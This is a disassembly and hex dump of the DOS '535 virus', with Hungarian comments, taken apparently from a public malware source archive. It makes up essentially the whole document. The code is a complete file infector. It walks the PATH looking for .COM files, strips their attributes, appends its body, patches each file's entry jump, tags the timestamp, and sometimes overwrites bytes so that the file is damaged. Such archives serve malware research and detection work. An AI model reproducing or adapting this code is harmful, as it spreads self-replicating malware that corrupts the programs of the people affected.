mirror of
https://github.com/vxunderground/MalwareSourceCode
synced 2024-06-28 09:52:32 +00:00
311 lines
10 KiB
NASM
311 lines
10 KiB
NASM
535 virus:
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11E3:0100 E90404 JMP 0507
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11E3:0103 49 DEC CX
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11E3:0104 60 DB 60
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11E3:0105 6D DB 6D
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11E3:0106 2035 AND [DI],DH
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11E3:0108 3335 XOR SI,[DI]
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11E3:010A 205649 AND [BP+49],DL
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11E3:010D 52 PUSH DX
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11E3:010E 55 PUSH BP
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11E3:010F 53 PUSH BX
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11E3:0110 210D AND [DI],CX
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11E3:0112 0A24 OR AH,[SI]
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11E3:0114 0000 ADD [BX+SI],AL
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11E3:04FA 0000 ADD [BX+SI],AL
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11E3:04FC B409 MOV AH,09
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11E3:04FE BA0301 MOV DX,0103
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11E3:0501 CD21 INT 21
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11E3:0503 B400 MOV AH,00
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11E3:0505 CD20 INT 20
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;Bel‚p‚si pont
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11E3:0507 51 PUSH CX
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11E3:0508 BAEE06 MOV DX,06EE
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11E3:050B 90 NOP
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11E3:050C 8BF2 MOV SI,DX
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11E3:050E BF0001 MOV DI,0100
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11E3:0511 B90300 MOV CX,0003
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11E3:0514 FC CLD
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11E3:0515 F3 REPZ
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11E3:0516 A4 MOVSB ;Eredeti 3 byte vissza
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11E3:0517 B430 MOV AH,30
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11E3:0519 CD21 INT 21 ;DOS. v ltozat lek‚rdez‚se
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11E3:051B 3C00 CMP AL,00
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11E3:051D 7503 JNZ 0522
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11E3:051F E9BA01 JMP 06DC
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11E3:0522 06 PUSH ES
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11E3:0523 B42F MOV AH,2F
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11E3:0525 CD21 INT 21 ;DTA. lek‚rdez‚se
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11E3:0527 8BF2 MOV SI,DX
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11E3:0529 899C0300 MOV [SI+0003],BX ;DTA. cim let rol sa
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11E3:052D 8C840500 MOV [SI+0005],ES
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11E3:0531 07 POP ES
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11E3:0532 B41A MOV AH,1A
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11E3:0534 BA3000 MOV DX,0030
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11E3:0537 90 NOP
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11E3:0538 03D6 ADD DX,SI
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11E3:053A CD21 INT 21 ;DTA. be llit sa
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11E3:053C 06 PUSH ES
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11E3:053D 56 PUSH SI
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11E3:053E 33FF XOR DI,DI
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11E3:0540 8E062C00 MOV ES,[002C] ;K”rnyezet szegmense
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11E3:0544 5E POP SI
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11E3:0545 56 PUSH SI
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11E3:0546 81C61A00 ADD SI,001A
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11E3:054A AC LODSB
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11E3:054B B90080 MOV CX,8000 ;Max. 32k.byte
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11E3:054E F2 REPNZ
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11E3:054F AE SCASB
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11E3:0550 B90400 MOV CX,0004 ;4 karakteres szo ("PATH")
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11E3:0553 AC LODSB ;olvas
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11E3:0554 AE SCASB ;hasonlit
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11E3:0555 75ED JNZ 0544
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11E3:0557 E2FA LOOP 0553
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11E3:0559 5E POP SI
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11E3:055A 07 POP ES
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11E3:055B 89BC1200 MOV [SI+0012],DI
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11E3:055F 8BDE MOV BX,SI
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11E3:0561 81C61F00 ADD SI,001F
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11E3:0565 8BFE MOV DI,SI
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11E3:0567 EB3B JMP 05A4
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11E3:0569 90 NOP
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11E3:056A 83BC120000 CMP WORD PTR [SI+0012],+00 ;Path v‚ge ?
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11E3:056F 7503 JNZ 0574
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11E3:0571 E95E01 JMP 06D2
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11E3:0574 1E PUSH DS
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11E3:0575 56 PUSH SI
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11E3:0576 26 ES:
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11E3:0577 8E1E2C00 MOV DS,[002C] ;K”rnyezet szegmense
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11E3:057B 8BFE MOV DI,SI
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11E3:057D 26 ES:
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11E3:057E 8BB51200 MOV SI,[DI+0012]
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11E3:0582 81C71F00 ADD DI,001F
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11E3:0586 AC LODSB
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11E3:0587 3C3B CMP AL,3B
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11E3:0589 740A JZ 0595
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11E3:058B 3C00 CMP AL,00
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11E3:058D 7403 JZ 0592
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11E3:058F AA STOSB
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11E3:0590 EBF4 JMP 0586
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11E3:0592 BE0000 MOV SI,0000
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11E3:0595 5B POP BX
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11E3:0596 1F POP DS
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11E3:0597 89B71200 MOV [BX+0012],SI
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11E3:059B 807DFF5C CMP BYTE PTR [DI-01],5C ;"\" jel ?
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11E3:059F 7403 JZ 05A4
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11E3:05A1 B05C MOV AL,5C
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11E3:05A3 AA STOSB
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11E3:05A4 89BF1400 MOV [BX+0014],DI
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11E3:05A8 8BF3 MOV SI,BX
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11E3:05AA 81C60C00 ADD SI,000C
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11E3:05AE B90600 MOV CX,0006
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11E3:05B1 F3 REPZ
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11E3:05B2 A4 MOVSB
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11E3:05B3 8BF3 MOV SI,BX
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11E3:05B5 B44E MOV AH,4E
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11E3:05B7 BA1F00 MOV DX,001F
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11E3:05BA 90 NOP
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11E3:05BB 03D6 ADD DX,SI
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11E3:05BD B90300 MOV CX,0003
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11E3:05C0 CD21 INT 21 ;Els” bejegyz‚s keres‚se
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11E3:05C2 EB05 JMP 05C9
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11E3:05C4 90 NOP
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11E3:05C5 B44F MOV AH,4F
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11E3:05C7 CD21 INT 21 ;K”vetkez” bejegyz‚s keres‚se
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11E3:05C9 7302 JNB 05CD
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11E3:05CB EB9D JMP 056A
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11E3:05CD 8B844600 MOV AX,[SI+0046]
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11E3:05D1 241D AND AL,1D
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11E3:05D3 3C1D CMP AL,1D
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11E3:05D5 74EE JZ 05C5
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11E3:05D7 81BC4A0000FA CMP WORD PTR [SI+004A],FA00
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11E3:05DD 77E6 JA 05C5
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11E3:05DF 83BC4A000A CMP WORD PTR [SI+004A],+0A
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11E3:05E4 72DF JB 05C5
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11E3:05E6 8BBC1400 MOV DI,[SI+0014]
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11E3:05EA 56 PUSH SI
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11E3:05EB 81C64E00 ADD SI,004E
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11E3:05EF AC LODSB
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11E3:05F0 AA STOSB
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11E3:05F1 3C00 CMP AL,00
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11E3:05F3 75FA JNZ 05EF
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11E3:05F5 5E POP SI
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11E3:05F6 B80043 MOV AX,4300
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11E3:05F9 BA1F00 MOV DX,001F
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11E3:05FC 90 NOP
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11E3:05FD 03D6 ADD DX,SI
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11E3:05FF CD21 INT 21 ;Attrib lek‚rdez‚se
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11E3:0601 898C0A00 MOV [SI+000A],CX
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11E3:0605 B80143 MOV AX,4301
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11E3:0608 81E1FEFF AND CX,FFFE
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11E3:060C BA1F00 MOV DX,001F
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11E3:060F 90 NOP
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11E3:0610 03D6 ADD DX,SI
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11E3:0612 CD21 INT 21 ;Attrib t llit sa
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11E3:0614 B8023D MOV AX,3D02
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11E3:0617 BA1F00 MOV DX,001F
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11E3:061A 90 NOP
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11E3:061B 03D6 ADD DX,SI
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11E3:061D CD21 INT 21 ;File nyit sa
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11E3:061F 7303 JNB 0624
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11E3:0621 E99F00 JMP 06C3
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11E3:0624 8BD8 MOV BX,AX
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11E3:0626 B80057 MOV AX,5700
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11E3:0629 CD21 INT 21 ;Keletkez‚si id” lek‚rdez‚se
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11E3:062B 898C1800 MOV [SI+0018],CX
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11E3:062F 89941600 MOV [SI+0016],DX
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11E3:0633 B42C MOV AH,2C
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11E3:0635 CD21 INT 21 ;id” lek‚rdez‚se
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11E3:0637 80E607 AND DH,07
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11E3:063A 7510 JNZ 064C
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11E3:063C B440 MOV AH,40
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11E3:063E B90500 MOV CX,0005
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11E3:0641 8BD6 MOV DX,SI
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11E3:0643 81C22B00 ADD DX,002B
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11E3:0647 CD21 INT 21 ;5 byte ki¡r sa
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11E3:0649 EB5F JMP 06AA
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11E3:064B 90 NOP
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11E3:064C B43F MOV AH,3F
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11E3:064E B90300 MOV CX,0003
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11E3:0651 8BD6 MOV DX,SI
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11E3:0653 CD21 INT 21 ;Els” 3 byte olvas sa
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11E3:0655 7253 JB 06AA
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11E3:0657 3D0300 CMP AX,0003
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11E3:065A 754E JNZ 06AA
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11E3:065C B80242 MOV AX,4202
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11E3:065F 33C9 XOR CX,CX
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11E3:0661 33D2 XOR DX,DX
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11E3:0663 CD21 INT 21 ;File m‚ret meghat roz sa
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11E3:0665 7243 JB 06AA
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11E3:0667 8BC8 MOV CX,AX
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11E3:0669 2D0300 SUB AX,0003
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11E3:066C 89840800 MOV [SI+0008],AX
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11E3:0670 81C1E702 ADD CX,02E7
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11E3:0674 8BFE MOV DI,SI
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11E3:0676 81EFE501 SUB DI,01E5
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11E3:067A 890D MOV [DI],CX
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11E3:067C B440 MOV AH,40
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11E3:067E B91702 MOV CX,0217
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11E3:0681 90 NOP
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11E3:0682 8BD6 MOV DX,SI
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11E3:0684 81EAE701 SUB DX,01E7
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11E3:0688 CD21 INT 21 ;Fert”z‚s
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11E3:068A 721E JB 06AA
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11E3:068C 3D1702 CMP AX,0217
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11E3:068F 90 NOP
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11E3:0690 7518 JNZ 06AA
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11E3:0692 B80042 MOV AX,4200
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11E3:0695 33C9 XOR CX,CX
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11E3:0697 33D2 XOR DX,DX
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11E3:0699 CD21 INT 21 ;File elej‚re ll
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11E3:069B 720D JB 06AA
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11E3:069D B440 MOV AH,40
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11E3:069F B90300 MOV CX,0003
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11E3:06A2 8BD6 MOV DX,SI
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11E3:06A4 81C20700 ADD DX,0007
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11E3:06A8 CD21 INT 21 ;Uj JMP ki¡r sa
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11E3:06AA 8B8C1800 MOV CX,[SI+0018]
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11E3:06AE 8B941600 MOV DX,[SI+0016]
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11E3:06B2 81E1E0FF AND CX,FFE0
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11E3:06B6 81C91D00 OR CX,001D
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11E3:06BA B80157 MOV AX,5701
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11E3:06BD CD21 INT 21
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11E3:06BF B43E MOV AH,3E
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11E3:06C1 CD21 INT 21 ;File z r sa
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11E3:06C3 B80143 MOV AX,4301
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11E3:06C6 8B8C0A00 MOV CX,[SI+000A]
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11E3:06CA BA1F00 MOV DX,001F
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11E3:06CD 90 NOP
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11E3:06CE 03D6 ADD DX,SI
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11E3:06D0 CD21 INT 21 ;Eredeti attrib. vissza
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11E3:06D2 1E PUSH DS
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11E3:06D3 B41A MOV AH,1A
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11E3:06D5 C5940300 LDS DX,[SI+0003]
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11E3:06D9 CD21 INT 21 ;Eredeti DTA. vissza
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11E3:06DB 1F POP DS
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11E3:06DC 59 POP CX
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11E3:06DD 33C0 XOR AX,AX
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11E3:06DF 33DB XOR BX,BX
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11E3:06E1 33D2 XOR DX,DX
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11E3:06E3 33F6 XOR SI,SI
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11E3:06E5 BF0001 MOV DI,0100
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11E3:06E8 57 PUSH DI
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11E3:06E9 33FF XOR DI,DI
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11E3:06EB C2FFFF RET FFFF ;Eredeti prg. futtat sa
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11E3:06EE E9F903 JMP 0AEA
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11E3:06F1 8000D9 ADD BYTE PTR [BX+SI],D9
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11E3:06F4 0DE904 OR AX,04E9
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11E3:06F7 0420 ADD AL,20
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11E3:06F9 002A ADD [BP+SI],CH
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11E3:06FB 2E CS:
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11E3:06FC 43 INC BX
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11E3:06FD 4F DEC DI
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11E3:06FE 4D DEC BP
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11E3:06FF 0028 ADD [BX+SI],CH
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11E3:0701 007E1B ADD [BP+1B],BH
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11E3:0704 56 PUSH SI
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11E3:0705 16 PUSH SS
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11E3:0706 16 PUSH SS
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11E3:0707 3F AAS
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11E3:0708 50 PUSH AX
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11E3:0709 41 INC CX
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11E3:070A 54 PUSH SP
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11E3:070B 48 DEC AX
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11E3:070C 3D352E CMP AX,2E35
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11E3:070F 43 INC BX
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11E3:0710 4F DEC DI
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11E3:0711 4D DEC BP
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11E3:0712 005C44 ADD [SI+44],BL
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11E3:0715 49 DEC CX
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11E3:0716 53 PUSH BX
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11E3:0717 4B DEC BX
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11E3:0718 43 INC BX
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11E3:0719 4F DEC DI
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11E3:071A 50 PUSH AX
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11E3:071B 59 POP CX
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11E3:071C 2E CS:
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11E3:071D 43 INC BX
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11E3:071E 0DFF76 OR AX,76FF
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-d 0100 071f
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11E3:0100 E9 04 04 49 60 6D 20 35-33 35 20 56 49 52 55 53 ...I`m 535 VIRUS
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11E3:0110 21 0D 0A 24 00 00 00 00-00 00 00 00 00 00 00 00 !..$............
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11E3:04F0 00 00 00 00 00 00 00 00-00 00 00 00 B4 09 BA 03 ................
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11E3:0500 01 CD 21 B4 00 CD 20 51-BA EE 06 90 8B F2 BF 00 ..!... Q........
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11E3:0510 01 B9 03 00 FC F3 A4 B4-30 CD 21 3C 00 75 03 E9 ........0.!<.u..
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11E3:0520 BA 01 06 B4 2F CD 21 8B-F2 89 9C 03 00 8C 84 05 ..../.!.........
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11E3:0530 00 07 B4 1A BA 30 00 90-03 D6 CD 21 06 56 33 FF .....0.....!.V3.
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11E3:0540 8E 06 2C 00 5E 56 81 C6-1A 00 AC B9 00 80 F2 AE ..,.^V..........
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11E3:0550 B9 04 00 AC AE 75 ED E2-FA 5E 07 89 BC 12 00 8B .....u...^......
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11E3:0560 DE 81 C6 1F 00 8B FE EB-3B 90 83 BC 12 00 00 75 ........;......u
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11E3:0570 03 E9 5E 01 1E 56 26 8E-1E 2C 00 8B FE 26 8B B5 ..^..V&..,...&..
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11E3:0580 12 00 81 C7 1F 00 AC 3C-3B 74 0A 3C 00 74 03 AA .......<;t.<.t..
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11E3:0590 EB F4 BE 00 00 5B 1F 89-B7 12 00 80 7D FF 5C 74 .....[......}.\t
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11E3:05A0 03 B0 5C AA 89 BF 14 00-8B F3 81 C6 0C 00 B9 06 ..\.............
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11E3:05B0 00 F3 A4 8B F3 B4 4E BA-1F 00 90 03 D6 B9 03 00 ......N.........
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11E3:05C0 CD 21 EB 05 90 B4 4F CD-21 73 02 EB 9D 8B 84 46 .!....O.!s.....F
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11E3:05D0 00 24 1D 3C 1D 74 EE 81-BC 4A 00 00 FA 77 E6 83 .$.<.t...J...w..
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11E3:05E0 BC 4A 00 0A 72 DF 8B BC-14 00 56 81 C6 4E 00 AC .J..r.....V..N..
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11E3:05F0 AA 3C 00 75 FA 5E B8 00-43 BA 1F 00 90 03 D6 CD .<.u.^..C.......
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11E3:0600 21 89 8C 0A 00 B8 01 43-81 E1 FE FF BA 1F 00 90 !......C........
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11E3:0610 03 D6 CD 21 B8 02 3D BA-1F 00 90 03 D6 CD 21 73 ...!..=.......!s
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11E3:0620 03 E9 9F 00 8B D8 B8 00-57 CD 21 89 8C 18 00 89 ........W.!.....
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11E3:0630 94 16 00 B4 2C CD 21 80-E6 07 75 10 B4 40 B9 05 ....,.!...u..@..
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11E3:0640 00 8B D6 81 C2 2B 00 CD-21 EB 5F 90 B4 3F B9 03 .....+..!._..?..
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11E3:0650 00 8B D6 CD 21 72 53 3D-03 00 75 4E B8 02 42 33 ....!rS=..uN..B3
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11E3:0660 C9 33 D2 CD 21 72 43 8B-C8 2D 03 00 89 84 08 00 .3..!rC..-......
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11E3:0670 81 C1 E7 02 8B FE 81 EF-E5 01 89 0D B4 40 B9 17 .............@..
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11E3:0680 02 90 8B D6 81 EA E7 01-CD 21 72 1E 3D 17 02 90 .........!r.=...
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11E3:0690 75 18 B8 00 42 33 C9 33-D2 CD 21 72 0D B4 40 B9 u...B3.3..!r..@.
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11E3:06A0 03 00 8B D6 81 C2 07 00-CD 21 8B 8C 18 00 8B 94 .........!......
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11E3:06B0 16 00 81 E1 E0 FF 81 C9-1D 00 B8 01 57 CD 21 B4 ............W.!.
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11E3:06C0 3E CD 21 B8 01 43 8B 8C-0A 00 BA 1F 00 90 03 D6 >.!..C..........
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11E3:06D0 CD 21 1E B4 1A C5 94 03-00 CD 21 1F 59 33 C0 33 .!........!.Y3.3
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11E3:06E0 DB 33 D2 33 F6 BF 00 01-57 33 FF C2 FF FF E9 F9 .3.3....W3......
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11E3:06F0 03 80 00 D9 0D E9 04 04-20 00 2A 2E 43 4F 4D 00 ........ .*.COM.
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11E3:0700 28 00 7E 1B 56 16 16 3F-50 41 54 48 3D 35 2E 43 (.~.V..?PATH=5.C
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11E3:0710 4F 4D 00 5C 44 49 53 4B-43 4F 50 59 2E 43 0D FF OM.\DISKCOPY.C..
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